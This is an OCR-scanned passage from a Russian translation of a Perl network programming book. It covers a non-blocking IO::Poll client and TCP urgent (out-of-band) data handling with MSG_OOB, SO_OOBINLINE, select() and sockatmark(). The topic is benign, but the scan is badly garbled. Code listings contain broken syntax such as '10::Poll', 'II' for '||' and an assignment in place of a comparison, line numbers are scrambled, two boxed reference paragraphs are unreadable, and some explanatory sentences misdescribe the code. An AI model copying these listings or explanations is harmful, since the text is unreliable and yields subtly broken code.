клиент аналогичен мультиплексному клиенту gab5.pl, описанному в главе 12
(листинг 12.1). Он предпринимает попытку установить исходящее соединение TCP
с хостом и портом, указанным в командной строке, или, если не указано иное, с эхо-
сервером на локальном компьютере. Затем он копирует свой стандартный ввод в со-
502
Часть III. Разработка систем TCP типа клиент/сервер
кет, а все, что поступает из сокета, — на стандартный вывод. Как и клиент Telnet,
сценарий gab7 .pi может применяться для непосредственного взаимодействия с любым
из обычных серверов, предназначенных для обработки текста.
В сценарии gab7. pi, для того чтобы он стал более интересным, применяется
неблокирующий ввод-вывод. Данные, считанные из дескриптора STDIN, буферизуются
в скалярной переменной $to_socket. Аналогичным образом данные, полученные из
сокета, буферизуются в переменной $to_stdout. Данные, накопленные в буферах,
записываются в соответствующие дескрипторы назначения каждый раз, когда метод
poll () указывает, что операция ввода-вывода не будет заблокирована. Если объем
данных в одном из буферов становится слишком большим, дальнейшее чтение из
соответствующего ему входного источника запрещается до тех пор, пока в буфере снова
не будет достаточно места.
Листинг 16.1. В сценарии gab7 .pi для мультиплексирования ввода и вывода
применяется модуль ю: :Poii
4
5
б
7
8
9
10
11
12
13
#!/usr/bin/perl
# Файл: gab7.pi
# Применение: gab7.pl [хост] [порт]
# Интерактивный клиент TCP, в котором для
# мультиплексирования операций применяется метод poll()
use strict;
use IO::Socket;
use 10::Poll 0.04 gw(POLLIN POLLOUT POLLERR POLLHUP);
use Errno qw(EWOULDBLOCK);
use constant MAXBUF => 8192;
$SIG[PIPE} = 'IGNORE';
my ($to_stdout,$to_socket,$stdin_done,$sock_done);
my $host = shift or die "Usage: pollnet.pl host [port]\n";
my $port = shift II 'echo';
my $socket = IO::Socket::INET->new("$host:$port") or die $G;
14: my $poll = IO::Poll->new() or
die "Can't create IO::Poll object";
15: $poll->mask(\*STDIN => POLLIN);
16: $poll->mask($socket => POLLIN);
17: $socket->blocking(0); # Отключить блокирующий режим для
18: STDOUT->blocking(0) ; # сокета и дескриптора STDOUT
19: while ($poll->handles) {
20: $poll->poll;
21: # Обработать дескрипторы записи
22: for my $handle ($poll->handles(POLLIN|POLLHUP|POLLERR)) {
23: if ($handle eq \*STDIN) {
24: $stdin_done++ unless sysread
(STDIN,$to_socket,2048,length $to_socket);
25: }
Глава 16. Модуль IO::PoU
503
26: elsif (§handle eq $socket) {. у
27: $sock_done++ unless sysread e
($socket,$to_stdout,2048,length $to_stdout);
28: }
29: } o-
ij
30: # Обработать дескрипторы чтения
31: for my $handle ($poll->handles(POLLOUT|POLLERR)J {
32
33
34
35
36
37
38
39
>
40
41
42
43
44
45
46
47
48
56
57
58
if ($handle eq \*STDOUT) {
my $bytes = syswrite(STDOUT,$to_stdout);
unless ($bytes) {
next if $! = EWOULDBLOCK;
die "write to stdout failed: $!";
}
substr($to_stdout,0,$bytes) = '';
}
elsif ($handle eq $socket) {
my $bytes -,syswrite($socket,$to_socket);
unless ($bytes) {
next if $! == EWOULDBLOCK;
die "write to socket failed: $!";
}
substr($tq_socket,0,$bytes) = '■;
}
}
49: } continue {
50: my ($outmask,$inmask,$sockmask) = (0,0,0);
51: $outmask = POLLOUT if length $to_stdout > 0;
52: $inmask = POLLIN unless length $to_socket >= MAXBUF
53: or ($sock_done || $stdin_done);
54: $sockmask = POLLOUT unless length $to_socket == 0 or
$sock_done;
55: $sockmask |= POLLIN unless length $to_stdout >= MAXBUF or
$sock done;
$poll->mask(\*STDIN => $inmask);
$poll->mask(\*STDOUT => $outmask);
$poll->mask($socket => $sockmask);
59: $socket->shutdown(l) if $stdin_done and !length($to_socket);
60: }
Проведем анализ программы.
• Строки 1-8. Загрузка модулей. Работа программы начинается с вызова модулей
Ю:: Socket и Ю:: Poll. Модуль Ю:: Poll не импортирует константы по умолчанию,
поэтому это нужно сделать вручную, запросив константы pollin, pollout и pollerr Вызывается
также модуль Еггпо для получения доступа к константе ewooldblock.
• Строки 9,10. Объявление констант и глобальных переменных. Определяется
максимальный размер внутренних буфероа. Дальнейшее чтение из сокета или дескриптора stdin
запрещается до тех пор, пока соответствующий буфер данных не сократится до меньшего раз-
504
Часть Ш. Разработка систем TCP типа клиент/сервер
мера. Распознавание и обработку ошибок pipe берет на себя программа, поэтому для
обработчика pipe устанавливается значение ignore.
Определены также глобальные переменные самой программы. Кроме даух скаляров, для
хранения буферизованных данных предусмотрена пара флажков, Sstdin_done и Ssock_done.
Эти флажки устанавливаются в истинное значение при закрытии соответствующего
дескриптора и применяются при определении маски событий каждого дескриптора.
• Строки 11-13. Открытие сокета. Заданные значения имени хоста и номера порта считывают-
ся из командной строки, и к хосту выполняется подключение обычным образом с
использованием модуля Ю: .-Socket.
• Строки 14-16. Создание объекта го:: Poll. Теперь создается новый объект Ю::Ро11,
и к его списку контролируемых дескрипторов добавляются дескрипторы файлов сокета
и stdtn с использованием маски pollin. Маски дескрипторов будут корректироваться при
появлении данных, предназначенных для записи и чтения.
• Строки 17, 18. Установка неблокирующего режима работы для дескрипторов файлов.
Теперь сокет и дескриптор stdout переводятся а неблокирующий режим. Это позаоляет
клиенту продолжать работать, даже если сокет или стандартный дескриптор вывода аременно не
способны выполнять новые операции записи.
• Строки 19, 20. Главный цикл. Программа входит в цикл, который выполняется до тех пор,
пока существуют дескрипторы, предназначенные для ввода-вывода. Условие цикла состоит
просто в проверке того, вернул ли метод handles () объекта io:: Poll непустой список. В самом
начале цикла вызывается метод poll (), который блокируется до тех пор, пока объект
Ю:: Poll не укажет, что хотя бы один из дескрипторов готов к вводу-выаоду.
• Строки 21-29. Обработка дескрипторов чтения. В следующем фрагменте кода путем
вызова метода handles () объекта io:: poll с маской pollout | pollerr выполняется
выборка дескрипторов, в которых имеются данные для чтения или которые сигнализируют о конце
файла.
Если для чтения готоа дескриптор stdin, из него считыааются данные и добавляются к
переменной Sto_socket. Аналогичным образом данные из сокета добавляются к переменной
Sto_stdout. Если любая из операций чтения оканчивается неудачей, то устанавливается
истинное значение одного или обоих флажков $stdin_done и Ssock_done. Эти флажки
проверяются в конце цикла.
• Строки 30-48. Обработка дескрипторов записи. Теперь настало время для обработки
дескрипторов, предназначенных для записи. Вызывается метод handles () объекта Ю:: Poll с маской,
которая возвращает дескрипторы файлов, либо готовые для записи, либо содержащие ошибки.
Если в списке есть дескриптор stdout, to предпринимается попытка записать в него
содержимое переменной sto_stdout. Такая же попытка предпринимается для сокета, с использо-
аанием переменной $to_socket. Поскольку оба дескриптора являются неблокирующими,
приходится иметь дело с ошибками ewouldblock и неполными операциями записи. Здесь
применяется логика, аналогичная описанной в главе 13. В случае возникновения ошибки
ewouldblock соответствующий дескриптор файла пропускается и попытка записи в него
повторяется через некоторое время. При неполной записи удаляется успешно записанная часть
буфера, а незаписанная часть остается для следующей попытки.
Если при выполнении функции syswrlte () возникла ошибка, отличная от ewouldblock,
выполнение завершается с сообщением об ошибке.
• Строки 49-58. Блок continue { }. Вся логика программы заключена в блоке continue {},
который выполняется в конце каждого прохода по циклу. Его задача состоит в создании масок
событий для трех дескрипторов, подходящих для следующего прохода по циклу.
Выполнение блока начинается с установки трех масок в значение О, предусмотренное по
умолчанию, которое приведет к удалению дескриптора из опрашиваемого набора, если
останется неизменным. Затем выполняется проверка буфера Sto__stdout. Если он содержит
данные, то для дескриптора stdout устанавливается маска pollout, которая указывает, что
метод poll () должен сообщить, когда этот дескриптор будет готов для записи.
Аналогичным образом устанавливается маска pollIn для дескриптора stdin, что
равносильно просьбе сообщить, когда появятся данные для чтения из стандартного дескриптора
ввода. Однако эта операция подавляется, если возникает одно из двух следующих условий:
длина буфера, содержащего данные, которые подготовлены для отправки а сокет, уже достиг-
Глаеа 16. Модуль Ю::Ро11
505
ла максимального значения, поэтому нельзя допустить его дальнейшего возрастания; закрыт
сам сокет или стандартный дескриптор ваода.
Теперь необходимо установить маску для сокета. В отличие от стандартного дескриптора
ввода или вывода, сокет применяется и для чтения, и для записи. Если имеются данные для
записи а сокет (буфер $to_socket имеет ненулеаую длину) и сокет не был ранее закрыт, то его
маска устанавливается равной pollout. Если же длина буфера, ведущего к стандартному
дескриптору аывода, еще не достигла максимума, то к этой маске добавляется событие pollin.
После создания масок трижды вызывается метод $poii->mask() для их установки в
соответствующих дескрипторах файлов.
• Строка 59. Закрытие сокета во время останова программы. Последний этап состоит в
определении действий, которые должны быть выполнены по достижении конца ввода из
дескриптора stein. Как и в других версиях клиента gab, наиболее "элегантное" решение состоит
в закрытии локального конца сокета для записи, в ожидании того момента, когда второй
участник обмена данными закроет свой конец соединения. Единственное отличие здесь состоит
в том, что эти действия не должны выполняться до тех пор, пока в буфере $to socket есть
неотправленные данные, поэтому перед выполнением функции shutdown (1) происходит
ожидание того момента, когда длина буфера станет равной нулю.
Резюме
Модуль 10:: Poll предоставляет интерфейс к системному вызову pol 1 () и может
применяться как альтернатива функции select () при мультиплексировании
операций, выполняемых в нескольких дескрипторах ввода-вывода. Функция poll ()
обеспечивает более высокую производительность по сравнению с функцией select ()
при мультиплексировании операций, выполняемых с большим числом дескрипторов,
и поэтому более предпочтительна для серверов с тяжелой нагрузкой. Однако при
использовании модуля 10: :Ро11 для создания приложений, переносимых на разные
платформы, необходимо учитывать, что он вошел в состав стандартной библиотеки
ввода-вывода, только начиная с версии 5,6 языка Perl.
506
Часть III. Разработка систем TCP типа клиент/сервер
Часть IV
Дополнительные
темы
В этой части рассматривается ряд более сложных сетевых
приложений, включая обработку срочных данных TCP,
использование сокетов домена UNIX и протокола UDP. Кроме того,
здесь описывается широковещательная и многоадресная рассылка.
1
I
i J Ei
Глава [17]
Срочные данные TCP
В основе протокола TCP лежит обработка потоков. Данные, помещаемые
процессом-отправителем в передающий буфер TCP операционной системы, будут получены
на другом конце соединения и считаны процессом-получателем точно в таком же
порядке, в каком они были отправлены. Но что произойдет, если процесс-отправитель
обнаружит некоторую исключительную ситуацию и ему потребуется немедленно
сообщить об этом процессу-получателю? Обычные средства TCP не позволяют обеспечить
срочную пересылку, поскольку все данные имеют равный приоритет, и срочном)'
сообщению придется ждать своей очереди на отправку вслед за всеми данными,
переданными до него. Именно для такой ситуации предназначены "срочные" данные TCP,
которые чаще всего называют "внеочередными". Это позволяет отправлять и получать в
ограниченном объеме и в строго регламентированной форме сообщения TCP, которые
доставляются в первую очередь, в отличие от обычного потока данных TCP.
Для иллюстрации использования "срочных" данных рассмотрим терминальное
приложение, которое позволяет пользователю ставить в очередь ряд
продолжительных заданий, выполняемых на сервере. Пользователь выдает несколько заданий и,
пока еще не начата их обработка сервером, меняет свое решение и желает отменить
их с помощью клавиши прерывания. Но задания уже отправлены на сервер и ждут
обработки в приемной очереди TCP. Клиент должен иметь возможность немедленно
передать на сервер сигнал отмены так, чтобы команда отмены не встала в очередь вслед за
другими данными с обычным приоритетом. Один из способов осуществления этого
состоит в использовании срочных данных TCP для сообщения серверу, чтобы он очистил
список заданий, ожидающих выполнения, и отменил задания, уже полученные, но еще
не считанные. Именно такое приложение рассматривается в настоящей главе.
"Внеочередные" данные и указатель
срочных данных
Функции send () и recv (), впервые упомянутые в главе 4 (раздел "Другие
функции, относящиеся к сокетам"), будут впервые использованы в данной главе.
Один байт срочных данных TCP можно послать по подключенному сокету, вызвав
функцию send () с флажком MSG_OOB.
send($socket,'a',MSG 00В) or die "Can't send(): $!";
508
Часть IV. Дополнительные темы
В этом фрагменте кода вызывается функция send () для передачи символа "а"
через сокет $socket. Флажок MSG_OOB указывает, что сообщение— срочное и должно
быть доставлено немедленно. На другом конце получатель сообщения может
прочитать срочные данные путем вызова функции recv () с тем же флажком.
recv($socket,$data,l,MSG_OOB) or die "Can't recv(): $!";
Здесь функция recv () была использована для получения одного байта срочных
данных из сокета и сохранения его в скаляре $data.
Эти операции выглядят довольно просто, но за внешней простотой скрываются
значительные сложности. Хотя термин "внеочередные" наводит на мысль, что данные
передаются вне обычного потока данных, в действительности дело обстоит иначе.
Срочные данные передаются по принципу, который проиллюстрирован на
рис. 17.1. Во время выполнения обычных операций TCP процесс-отправитель
последовательно помещает данные в передающий буфер TCP операционной системы.
Содержимое буфера передается по сети и в конечном итоге попадает в приемный буфер
TCP на хосте назначения. Теперь предположим, что процесс-отправитель послал один
байт срочных данных путем вызова функции send () с флажком MSG_OOB. В результате
выполняются следующие действия.
Отправитель
eyswrite($eock, 'abed') Передающий буфер сокета
Получатель
t t
Первый Последний
передаваемый передаваемый
байт байт
Bend($sock, 'a'. MSG-00B)
1 Е
А I X I X
t t t
Первый Последний Указатель
Немедленно
передается
срочный сигнал
-*- Сигнал drg -
Процесс
получателя
передаваемый передаваемый срочных
байт байт данных TCP
Приемный буфер сокета
Данные подчиняются
правилам управления
потоком данных TCP
X X
t t t
Первый Последний Указатель
передаваемый передаваемый срочных
байт байт данных TCP
Рис. 17.1. Отправка срочных данных TCP
1. Поток TCP переводится в режим срочной передачи URGENT и операционная
система извещает об этом процесс-получатель, отправив ему сигнал URG.
2. Срочные данные добавляются' к передающем)' буферу, откуда они будут
отправлены процессу-получателю с использованием обычных правил управления
потоком данных TCP.
3. К потоку TCP добавляется маркер, известный как "указатель срочных данных",
который отмечает положение срочных данных. В каждом потоке TCP должен
находиться только один указатель срочных данных.
Глава 17. Срочные данные TCP
509
После вызова процессом-получателем функции recv () с флажком MSG_OOB
операционная система использует указатель срочных данных для извлечения из потока
байта срочных данных, и возвращает его отдельно от остальных данных. Другие
вызовы функций sysreadf) и recv() обычно пропускают срочные данные, поэтому
вызывающая процедура не получает о них никакой информации.
При использовании срочных данных необходимо необходимо учитывать ряд
предостережений и ограничений.
1. За один раз можно отправить только один байт срочных данных. При
использовании функции send () для безотлагательной отправки нескольких
символов процессом-получателем будет рассматриваться как срочный только
последний из них.
2. Поскольку в каждом потоке может быть только один указатель срочных
данных, при повторном вызове процессом-отправителем функции send () для
записи срочных данных, еще до того как процесс-получатель вызовет функцию
recv (), будет получено только последнее извещение о передаче срочных
данных. Все предшествующие ему маркеры срочных данных будут уничтожены,
и предыдущие байты срочных данных появятся в обычном потоке данных.
3. Хотя процесс-приемник отправляет сигнал URG немедленно, сами срочные
данные подчиняются всем правилам управления потоком данных TCP. Это
значит, что процесс-получатель может получить извещение о наличии
срочных данных до их фактического поступления. Более того, может возникнуть
необходимость освободить место в приемном буфере TCP, чтобы обеспечить
возможность получения байта срочных данных.
Третье ограничение создает больше всего сложностей. Если процесс-получатель
вызовет функцию recv () с флажком MSG_OOB до поступления срочных данных, то этот
вызов завершится аварийно с ошибкой EWOULDBLOCK. Вместо этого можно просто
игнорировать срочные данные или выполнить одну или несколько обычных операций
чтения до того, как поступят срочные данные. Объем работы, необходимый для
реализации последнего варианта, немного сокращается благодаря тому, что функция
sysreadf) автоматически останавливается на границе указателя срочных данных.
Примеры применения этого свойства указанной функции будут рассматриваться ниже.
Применение срочных данных TCP
В настоящей главе описывается пара программ клиент/сервер для иллюстрации
основных принципов использования срочных данных. Клиент подключается к
серверу по протоколу TCP и отправляет поток строк, содержащих обычные (несрочные)
данные, выдерживая небольшую паузу после каждой строки. Сервер считывает
строки и выводит их на стандартное устройство вывода.
Сложности начинаются после того, как клиентская программа перехватывает
события, связанные с нажатием клавиши прерывания (<Ctrl+C>), и отправляет один
байт срочных данных, содержащий символ "!". Сервер получает срочные данные
после их поступления и выводит предупреждающее сообщение об этом.
Вначале рассматривается клиентская программа. Код сценария urg_send.pl
приведен в листинге 17.1.
510
Часть IV. Дополнительные темы
Листин 1 1. •• • i к ■ рограмм- - • правитель срочных данных
О:
1:
2:
3:
4:
5:
9
10
11
12
13
14
15
#!/usr/bin/perl
# Файл: urg_s end.pi
use strict;
use 10::Socket;
my $H0ST = shift II 'localhost';
my $P0RT = shift || 2007;
my $socket = 10::Socket::INET->new("$HOST:$PORT") or
die "Can't connect: $!";
$SIG{INT} = sub { print "sending 1 byte of 00B data!\n";
send($socket, '*! ",MSG_00B) ;
};
$SIG{QUIT} = sub { exit 0 };
for (•aa'..'az•) {
print "sending ",length($_)," bytes of normal data: $_\n";
syswrite $socket,$_;
1 until sleep 1;
}
Проведем анализ программы.
• Строки 1-6. Установка сокета. Создается сокет, подключенный к указанному хосту и порту.
• Строки 7-10. Установка обработчика сигнала. Устанавливается обработчик сигнала int,
который выводит предупреждающее сообщение, а затем отправляет байт срочных данных через
сокет с использованием следующей общей схемы:
send(S socket,"!",MSG_OOB);
Необходимо также иметь возможность прекратить выполнение программы, поэтому
перехватывается сигнал quit с помощью обработчика сигнала, который вызыаает функцию exit ().
В системах UNIX сигнал quit обычно выдается путем нажатия комбинации клавиш <Ctr1+\>.
• Строки 10-15. Главный цикл. Остальная часть программы— это просто цикл, который передает
строку "normal data xx... W на сераер, наращивая значение хх после каждого прохода по
циклу. После каждого вызова функции syswrite () цикл приостанавливается на 1 секунду.
Странная с виду конструкция "l until sleep l" гарантирует приостановку сценария не
менее чем на 1 секунду при каждом проходе по циклу. В ином случае выполнение функции
sleep () будет прекращаться преждевременно при каждом нажатии клавиши прерывания,
и интеравл между операциями записи будет неравномерным.
После запуска клиентская программа выполняет тридцать проходов по циклу
(примерно за 30 с) и завершает работу. При неоднократном нажатии клавиши
прерывания в течение этого времени можно видеть следующие сообщения:
% urg_send.pl
sending 2 bytes of normal data: aa
sending 2 bytes of normal data: ab
sending 1 byte of OOB data!
sending 2 bytes of normal data: ac
sending 2' bytes of normal data: ad
sending 2 bytes of normal data: ae
sending 1 byte of OOB data!
sending 2 bytes of normal data: af
Глава 17. Срочные данные TCP
511
Теперь обратим внимание на сервер (листинг 17.2), который не намного сложнее
клиента. Сервер устанавливает обработчик URG, который вызывается при каждом
поступлении срочных данных в сокет. Однако чтобы сообщить операционной системе, что нужно
доставить сигнал URG, необходимо связать идентификатор процесса PID с сокетом путем
вызова функции f cntl () с командой F SETOWN и параметром, равным этому PID.
истинг 7 2. Сервер, кбторы" «брабатывае срочные данные
0: #!/usr/bin/perl
1: # Файл: urg_recv.pl
2: use strict;
3: use 10::Socket;
4: use Fcntl;
5: my $P0RT = shift || 2007;
6: my ($sock,$data);
7: $SIG{URG} = sub {
8: my $r = recv($sock, $data,100,MSG_OOB);
9: print $r ? .("got ", length($data)," bytes of urgent data:
$data\n")
10: : ("recvO error: $!\n");
11: };
12: my $listen = 10::Socket::INET->new( Listen => 15,
13: LocalPort => $P0RT,
14: Reuse => 1) or
die "Can't listen: $!";
15: warn "Listening on port $P0RT...\n";
16: $sock = $listen->accept;
17: # Установить владельца сокета, чтобы можно было получать
# сигнал URG
18: fcntl($sock,F_SET0WN,$$) or die "Can't set owner: $!";
19: # Выполнить эхо-повтор данных
20: while (sysread $sock,$data,1024) {
21: print "got ",length($data)," bytes of normal data: $data\n";
22: }
Проведем анализ программы.
• Строки 1-6. Загрузка модулей. Кроме модуля Ю:: Socket, загружается модуль Fcntl,
который содержит определение константы fsetown.
• Строки 7-11. Установка обработчика икс В соответствии с описанной выше общей схемой,
устанавливается анонимная подпрограмма, которая пытается отправить один байт срочных данных
в сокет с помощью функции recv (). При успешном выполнении этой функции выводится
подтверждение; а ином случае появляется сообщение об ошибке. Обратите внимание, что даже
если этой функции будет передан запрос на отпрааку 100 байт данных, ограничения протокола
допускают отпрааку только одного байта срочных данных Сервер подтверждает получение данных
• Строки 12-16. Создание сокета и прием входящего соединения с помощью функции
accept (). Создается приемный сокет, и через него с помощью функции accept ()
принимается единственное входящее соединение, после чего подключенный сокет присваивается пе-
512
Часть TV. Дополнительные темы
ременной Ssock. Это— не сервер общего назначения, поэтому нет необходимости
разворачивать цикл accept ().
• Строки 17, 18. Установка владельца сокета. Подключенный сокет передается функции
f cntl () с командой f_setown и идентификатором текущего процесса, хранящимся в
переменной SS, в качестве параметра. В результате устанавливается владелец сокета, чтобы
была обеспечена возможность получения сигнала urg.
• Строки 19-22. Чтение данных из сокета. Для чтения обычных данных из сокета вызывается
функция sysread () до тех пор, пока не будет достигнут конец файла. Все считанные данные
поступают на стандартное устройство вывода.
После запуска и серверной, и клиентской программы и двукратного прерывания
работы клиента были получены следующие результаты:
% urg_recv.pi
Listening on port 2007...
got 2 bytes of normal data: aa
got 2 bytes of normal data: ab
got 1 byte of OOB data!
got 2 bytes of normal data: ac
got 2 bytes of normal data: ad
got 2 bytes of normal data: ae
got 1 byte of OOB data!
got 2 bytes of normal data: af
Обратите внимание, что срочные данные не появляются в обычном потоке
данных, считанных с помощью функции sysread ().
Эта серверная программа может при определенных ситуациях создать условие
"состязания". Возможно, срочные данные поступят во время вызова функции
accept () или вскоре после этого, но перед тем как будет установлен владелец сокета
с помощью функции f cntl ().B таком случае сервер пропустит сигнал о поступлении
срочных данных. Значимость этой проблемы зависит от приложения. Если
возможность возникновения такой ситуации нельзя игнорировать, то можно применить
одно из двух следующих решений:
■ предусмотреть в клиентской программе небольшую задержку после
установления соединения, но перед отправкой срочных данных;
■ применить функцию f cntl () к приемном)' сокету, поскольку в этом случае
установка опций владельца будет унаследована всеми подключенными сокетами,
которые будут возвращены функцией accept ().
Опция S0.00BINUNE
По умолчанию выборка срочных данных TCP может осуществляться только путем
вызова функции recv () с флажком MSG_OOB. В этом случае сама операционная
система извлекает и сохраняет входящие срочные данные так, чтобы они не
смешивались с обычным потоком данных.
Для того чтобы срочные данные оставались встроенными и появились среди
обычных данных, можно применить опцию S0_00BLINE. Эта опция может быть установлена
с помощью метода sockopt () модуля 10: : Socket или с использованием встроенной
функции setsockopt (). Сокеты, в которых установлена эта опция, возвращают
срочные данные, встроенные в общий поток данных. Сигнал URG отправляется по-
прежнему, но вызов функции recv () с флажком MSG_00B больше не может
применяться для выборки срочных данных и даже приводит к активизации ошибки EINVAL.
Глава 17. Срочные данные TCP
513
Опция SO_OOBLINE действует только на той стороне соединения, на которой она
была вызвана; она не влияет на способ обработки срочных данных, применяемый на
противоположной стороне соединения. К тому же, она влияет только на способ
обработки входящих срочных данных, а не на способ их отправки.
Для демонстрации того, как изменяется программа сервера при использовании
встроенных срочных данных, добавим соответствующий вызов метода sockoptf)
после вызова функции accept () в листинге 17.2.
$sock = $listen->accept;
$sock->sockopt(SO_OOBINLINE,1); # Разрешить использовать
# встроенные срочные данные
Теперь после одновременного запуска серверной и клиентской программ, а также
выработки нескольких сигналов прерывания были получены следующие результаты:
% urg_recv2.pi
Listening on port 2007...
got 2 bytes of normal data: aa
got 2 bytes of normal data: ab
recv() error: Invalid argument
got 1 bytes of normal data: •
got 2 bytes of normal data:, ac
got 2 bytes of normal data: ad
got 2 bytes of normal data: ae
recv () error: Invalid argument
got 1 bytes of normal data: !
got 2 bytes of normal data: af
Как и прежде, при получении каждого байта срочных данных вызывается
обработчик URG сервера. Однако поскольку эти данные теперь являются встроенными,
вызов функции recv () оканчивается аварийно с ошибкой EINVAL. Срочные данные
(символ восклицательного знака) не обрабатываются отдельно, а появляются в
потоке данных, считанном функцией sysread ().
Обратите внимание, что срочные данные всегда появляются в начале данных,
возвращенных вызовом функции sysreadf). Это— не случайность. Дело в том, что API-
интерфейс обработки срочных данных предусматривает прекращение вьшолнения
операций чтения на указателе срочных данных, даже если вызывающая процедура
затребовала больший объем данных. При использовании встроенных данных следующим байтом,
считанным функцией sysread (), будут сами срочные данные. При внеочередных данных
следующим считанным байтом будет символ, который следует за срочными данными.
Функция select() Для работы со срочными
данными
Если вы предпочитаете не перехватывать сигнал URG, то для обнаружения срочных
данных можете использовать функцию select () или poll(). При использовании
функции select () срочные данные появляются как доступные "исключительные"
данные, а при использовании функции pol 1 () — как данные P0LLPRI.
В листинге 17.3 представлена еще одна реализация сервера с обработкой срочных
данных на основе класса 10:: Select. В этом примере сервер устанавливает два
объекта 10:: Select: для обычных операций чтения и для чтения срочных данных.
Затем он определяет готовность этих данных к чтению с использованием метода
514
Часть IV. Дополнительные темы
10:: Select->select (). Если метод select () показывает, что доступны срочные
данные, выполняется их выборка с использованием функции recv (). В ином случае
осуществляется чтение обычного потока данных с помощью функции sysread ().
К сожалению, в этом сервере необходимо использовать один сложный прием из-за
некоторых особенностей функции select (). Многие реализации этой функции
продолжают показывать наличие в сокете срочных данных, предназначенных для чтения,
даже после вызова в программе функции recv(), но при повторном вызове эта
функция завершается неудачей с ошибкой EINVAL, поскольку буфер срочных данных уже
был опустошен. Это условие сохраняется до тех пор, пока из сокета не будет считан
хотя бы один байт обычных данных. Если это условие не будет обработано правильно, то
после получения срочных данных программа входит в непрерываемый цикл.
Для решения этой проблемы необходимо установить флажок $ok_to_read_oob
и манипулировать им. Он устанавливается каждый раз после чтения обычных данных
и очищается после чтения срочных данных. В начале цикла select () сокет
добавляется к списку дескрипторов, контролируемых на предмет поступления срочных
данных, если только этот флажок имеет истинное значение.
Листинг 17.3. Программа получения срочных данных, реализованная
с использованием функции select ()
О: #!/usr/bin/perl
1: # Файл: urg_recv3.pl
2: use strict;
3: use 10::Socket;
4: use 10::Select;
5: my $P0RT = shift I I 2007;
6: my $listen = 10::Socket::INET->new( Listen => 15,
7: LocalPort => $P0RT,
8: Reuse => 1) II
die "Can't listen: $!";
9: warn "Listening on port $P0RT...\n";
10: my $ok_to_read_oob =1;
11: my $sock = $listen->accept;
I
12: my $reader = 10::Select->new{$sock); # Для контроля над i
# обычными данными
13: my $except = 10::Select->new; # Для контроля над
# срочными данными
14: while (1) {
15: my $data;
16: $except->add($sock) if $ok_to_read_oob;
17: my ($has_regular,undef,$has_urgent) = 10::Select->select
($reader,undef,$except);
I
18: if (G$has_urgent) {
Й.9: my $r = recv($sock, $data,100,MSG_OOB);
Глава 17. Срочные данные TCP 515
20: print $r ? "got ".length($data)." bytes of urgent data:
$data\n"
21: : "recv{) error: $!\n";
22: $ok_to_read_oob = 0;
23: $except->remove($sock);
24: }
25
26
27
28
29
30: }
if (G$has_regular) {
last unless sysread $sock,$data,1024;
print "got ",length $data," bytes of normal data: $data\n"
$ok_to_read_oob++;
}
С точки зрения пользователя программа urg_recv3. pi ведет себя точно так же,
как urg_recv.pl. После вызова ее на одном терминале, а клиента urg_send.pl на
другом появляются следующие результаты при неоднократном нажатии клавиши
прерывания в клиентской программе:
% urg recv3.pl
Listening on port 2007...
got 2 bytes
got 2 bytes
got 2 bytes
got 2 bytes
got I bytes
got 2 bytes
got 1 bytes
got 2 bytes
of normal data:
of normal data:
of normal data:
of normal data:
of urgent data:
of normal data:
of urgent data:
of normal data:
aa
ab
ac
ad
i
ae
j
af
Функция sockatmarkQ
Срочные данные чаще всего применяются для того, чтобы можно было отметить
часть потока данных TCP как недействительную, а затем отбросить. Например, в
сервере rlogin (сокращение от remote login— дистанционная регистрация) системы
UNIX это необходимо для выполнения срочного запроса пользователя на
уничтожение удаленного процесса, который вышел из-под контроля. Для сервера rlogin
недостаточно просто завершить соответствующую программу, поскольку она уже могла
передать значительный объем данных на клиентский компьютер rlogin,
находящийся на другом конце соединения, с которым работает пользователь. Сервер
должен сообщить клиенту, что необходимо проигнорировать весь вывод программы,
вплоть до того момента, когда пользователь нажал клавишу прерывания. Именно для
этого и предназначена функция sockatmark ().
9£1лд — »ccJeat—.»rk($ socket)
Функция soctet.itvvrkf) позволяет определить местбнахохадеиие указетрля срочных данных..
При обычных внеочередных данных она возвращает истиннпе "значение, если при выполнении оче-
J рёдндв Ьпер^ций чтения функцияг|^Бгоа;Щ возвратитEaiSjT.,который слёдует-за срочными данны-
. ми, В случае сметой sr'jOOyiNLiiip^yHKUHfl s'vkatraaik f) позиращаст "истиннее значение, если
очегеднен еыэ^в функция sysreaij/ вернет сами срочные данные
516 Часть IV. Дополнительные темы
Напомним, что функция sysread() всегда приостанавливается в том месте, где
находится указатель, срочных данных. Это было предусмотрено для того, чтобы
в программе можно было вызвать функцию sockatmark (). Общая схема ее
применения показана в следующем фрагменте кода.
# Выполнять чтение до получения маркера
until (sockatmark($socket)) {
my $result = sysread($socket, $data,1024);
die "socket closed before reaching mark" unless $result;
}
При каждом проходе по циклу функция sysread () вызывается для чтения 1024
байт данных из сокета (которые в данном случае отбрасываются). Цикл завершается
нормально при достижении указателя срочных данных или аварийно, если сокет
закрывается (или появляется какая-то другая ошибка) до того, как будет найден
указатель срочных данных. После выхода из цикла следующая операция чтения приведет
к получению байта срочных данных, если была установлена опция SO_OOBINLINE,
а если она не установлена, то вернет следующие за этим байтом обычные данные.
Реализация функции sockatmark()
Несмотря на то что функция sockatmark () определена в стандарте POSIX, она
еще не реализована в языке Perl как встроенная функция и даже не вошла в
стандартные библиотеки многих операционных систем. Для ее использования необходимо
вызвать собственную версию этой функции с применением функции ioctl ().
(result - ioctl($handle,8copHaand,$operyi4)
Функция ioctl () языкэ Pert, «эк и функция fcntl () (глава 13). принимает в качестве парамет-.
ров заранее открытый дескриптор файла, цвлсчисленную кгмстанту, соответствующую выпилнде-
мгй команде, и операнд для передачи или получения данных.-в связи с выполнением этой команды.
Формат этого операнда зависит от выполняемой операции. Функция возвращает значение unief.
если выэсв foctl > завершается неудачей; в инсы случае она воз ра -. истинное значение.
Для реализации функции sockatmark () необходимо вызвать функцию ioctl ()
с командой SIOCATMARK, значение константы для которой можно найти в
преобразованном файле заголовка С, как правило, sys/ioctl.ph. После вызова функции ioctl ()
операнд заполняется упакованным целочисленным параметром, содержащим 1, если
в сокете в настоящее время находится маркер срочных данных, и 0 — в ином случае.
require "sys/ioctl.ph";
sub sockatmark {
my $s = shift;
my $d;
return unless ioctl ($s, SIOCATMARK, $d).;
return unpack("i",$d) != 0;
}
На первый взгляд эта конструкция кажется простой, но есть один нюанс.
Конкретный необходимый файл заголовка не является стандартным во всех
операционных системах и даже называется по-разному: sys/ioctl.ph, sys/socket.ph,
sys/sockio.ph или sys/sockios.ph. В результате разработка переносимого кода
становится затруднительной. Более того, ни один из этих преобразованных файлов
заголовка не входит в состав стандартного дистрибутива Perl, но должен быть создан
вручную с использованием "капризного" и даже иногда ненадежного сценария Perl
